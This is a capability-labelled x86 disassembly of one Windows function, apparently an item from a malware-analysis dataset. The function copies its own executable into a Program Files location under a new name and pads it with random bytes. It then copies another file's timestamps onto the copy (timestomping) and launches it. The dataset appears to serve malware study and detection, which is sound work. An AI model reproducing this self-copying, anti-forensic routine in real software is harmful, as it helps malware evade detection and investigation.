Function at 0x401af0
Capabilities:
Copy file
Create process on windows
Get common file path
Get program files directory
Timestomp file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x543e79
mov eax, dword fs:[0]
push eax
sub esp, 0xaf0
mov eax, dword [0x5965b0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
push 0x206
mov dword [ebp - 4], 0
push eax
mov word [ebp - 0x85c], ax
lea eax, [ebp - 0x85a]
push eax
call fcn.005170e0
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0xa64], ax
lea eax, [ebp - 0xa62]
push eax
call fcn.005170e0
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x654], ax
lea eax, [ebp - 0x652]
push eax
call fcn.005170e0
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x244], ax
lea eax, [ebp - 0x242]
push eax
call fcn.005170e0
add esp, 0xc
jmp 0x401baf
push 0x104
lea eax, [ebp - 0x85c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x85c]
push 0x5c
push eax
call fcn.00514ffe
add esp, 8
test eax, eax
je 0x401bdd
xor ecx, ecx
mov word [eax], cx
push dword [ebp + 8]
lea eax, [ebp - 0xa64]
push 0x575744
push eax
call fcn.004052e0
add esp, 0xc
lea eax, [ebp - 0x654]
push 0
push 0x26
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea edx, [ebp - 0x654]
lea ecx, [ebp - 0xaf4]
mov dword [ebp - 0xaf4], 0
call fcn.00402ae0
mov byte [ebp - 4], 1
mov edx, 1
lea ecx, [ebp - 0xaf0]
mov dword [ebp - 0xaf0], 0
call fcn.004027d0
mov byte [ebp - 4], 2
mov esi, dword [ebp - 0xaf0]
cmp dword [esi - 0xc], 0
je 0x4020e6
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x44c], ax
lea eax, [ebp - 0x44a]
push eax
call fcn.005170e0
add esp, 0xc
cmp dword [esi - 4], 1
jle 0x401c8c
push dword [esi - 0xc]
lea ecx, [ebp - 0xaf0]
call fcn.00404570
mov esi, dword [ebp - 0xaf0]
push 0x5c
push esi
call fcn.00514ffe
add esp, 8
test eax, eax
je 0x401e01
lea ecx, [eax + 2]
lea edx, [ebp - 0x44c]
sub edx, ecx
lea ebx, [ebx]
movzx eax, word [ecx]
mov word [ecx + edx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401cb0
lea eax, [ebp - 0x44c]
push 0x2e
push eax
call fcn.00514ffe
add esp, 8
test eax, eax
je 0x401cd9
xor ecx, ecx
mov word [eax], cx
xorps xmm0, xmm0
xor eax, eax
lea ecx, [ebp - 0x3c]
mov word [ebp - 0x3c], ax
movq qword [ebp - 0x3a], xmm0
movq qword [ebp - 0x32], xmm0
movq qword [ebp - 0x2a], xmm0
movq qword [ebp - 0x22], xmm0
mov dword [ebp - 0x1a], eax
mov word [ebp - 0x16], ax
call fcn.00403be0
mov eax, dword [ebp - 0xaf4]
cmp dword [eax - 4], 1
jle 0x401d25
push dword [eax - 0xc]
lea ecx, [ebp - 0xaf4]
call fcn.00404570
mov eax, dword [ebp - 0xaf4]
lea ecx, [ebp - 0x3c]
push ecx
lea ecx, [ebp - 0x44c]
push ecx
push eax
lea eax, [ebp - 0x244]
push str._s_s_s.exe
push eax
call fcn.004052e0
add esp, 0x14
lea eax, [ebp - 0x244]
push 0
push eax
lea eax, [ebp - 0xa64]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x401dd2
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0xaf0]
add edx, 0xfffffff0
or esi, 0xffffffff
lea ecx, [edx + 0xc]
mov eax, esi
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x401d85
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0xaf4]
add edx, 0xfffffff0
mov ecx, esi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x401da8
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], esi
dec esi
test esi, esi
jg 0x40214c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x40214c
mov ecx, dword [ebp - 0xaf0]
cmp dword [ecx - 4], 1
jle 0x401df2
push dword [ecx - 0xc]
lea ecx, [ebp - 0xaf0]
call fcn.00404570
mov ecx, dword [ebp - 0xaf0]
lea edx, [ebp - 0x244]
call fcn.00402da0
test eax, eax
jne 0x401e13
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0xaf0]
add edx, 0xfffffff0
jmp 0x4020ed
lea ecx, [ebp - 0xa78]
mov dword [ebp - 0xa74], 0
mov dword [ebp - 0xa6c], 0
mov dword [ebp - 0xa68], 0
call fcn.004069a4
push 0
push 1
lea eax, [ebp - 0x244]
push eax
lea ecx, [ebp - 0xa78]
mov byte [ebp - 4], 3
call fcn.00406ec4
mov eax, dword [ebp - 0xa78]
push 2
push 0
push 0
lea ecx, [ebp - 0xa78]
call dword [eax + 0x2c]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.005161d7
add esp, 4
lea ecx, [ebp - 0xa78]
call fcn.00406de7
mov ecx, eax
mov eax, 0x51eb851f
mul ecx
mov edi, edx
shr edi, 5
call fcn.005161b4
cdq
mov ecx, 5
idiv ecx
lea ebx, [edx + 1]
imul ebx, edi
call fcn.005161b4
cdq
mov ecx, 0x3e8
idiv ecx
xor ecx, ecx
add ebx, edx
mov eax, ebx
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040532f
add esp, 4
xor esi, esi
mov edi, eax
test ebx, ebx
je 0x401ee5
call fcn.005161b4
mov dword [edi + esi*4], eax
inc esi
cmp esi, ebx
jb 0x401ed8
lea eax, [ebx*4]
push eax
push edi
lea ecx, [ebp - 0xa78]
call fcn.00407251
lea ecx, [ebp - 0xa78]
call fcn.00406c82
push edi
call fcn.0040532a
mov eax, dword [ebp - 0xaf0]
add esp, 4
cmp dword [eax - 4], 1
jle 0x401f2d
push dword [eax - 0xc]
lea ecx, [ebp - 0xaf0]
call fcn.00404570
mov eax, dword [ebp - 0xaf0]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
call edi
mov esi, eax
test esi, esi
je 0x401fb3
lea eax, [ebp - 0xa90]
push eax
lea eax, [ebp - 0xa88]
push eax
lea eax, [ebp - 0xa80]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x244]
push eax
call edi
mov esi, eax
test esi, esi
je 0x401fb3
lea eax, [ebp - 0xa90]
push eax
lea eax, [ebp - 0xa88]
push eax
lea eax, [ebp - 0xa80]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call ebx
call fcn.005161b4
push 0
cdq
push 0x7861f80
push edx
push eax
call fcn.005245d0
mov esi, eax
push ecx
lea eax, [ebp - 0x244]
mov ecx, esp
push eax
call fcn.00403f00
lea ecx, [esi + 0x5e0be100]
call fcn.00402170
add esp, 4
xorps xmm0, xmm0
push 0x44
lea eax, [ebp - 0xaec]
push 0
push eax
movq qword [ebp - 0xaa0], xmm0
movq qword [ebp - 0xa98], xmm0
call fcn.005170e0
add esp, 0xc
lea eax, [ebp - 0xaa0]
push eax
lea eax, [ebp - 0xaec]
push eax
lea eax, [ebp - 0x654]
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x85c]
push eax
lea eax, [ebp - 0x244]
push eax
mov dword [ebp - 0xaec], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
jmp 0x40205b
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xa78]
mov byte [ebp - 4], 2
call fcn.00406a1a
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0xaf0]
add edx, 0xfffffff0
or esi, 0xffffffff
lea ecx, [edx + 0xc]
mov eax, esi
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x40209b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0xaf4]
add edx, 0xfffffff0
mov ecx, esi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4020be
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edi, dword [ebp + 8]
add edi, 0xfffffff0
lea eax, [edi + 0xc]
lock xadd dword [eax], esi
dec esi
test esi, esi
jg 0x4020df
mov ecx, dword [edi]
push edi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, 1
jmp 0x40214c
mov byte [ebp - 4], 1
lea edx, [esi - 0x10]
or esi, 0xffffffff
lea ecx, [edx + 0xc]
mov eax, esi
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x402106
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0xaf4]
add edx, 0xfffffff0
mov ecx, esi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x402129
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp + 8]
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], esi
dec esi
test esi, esi
jg 0x40214a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00514e2d
mov esp, ebp
pop ebp
ret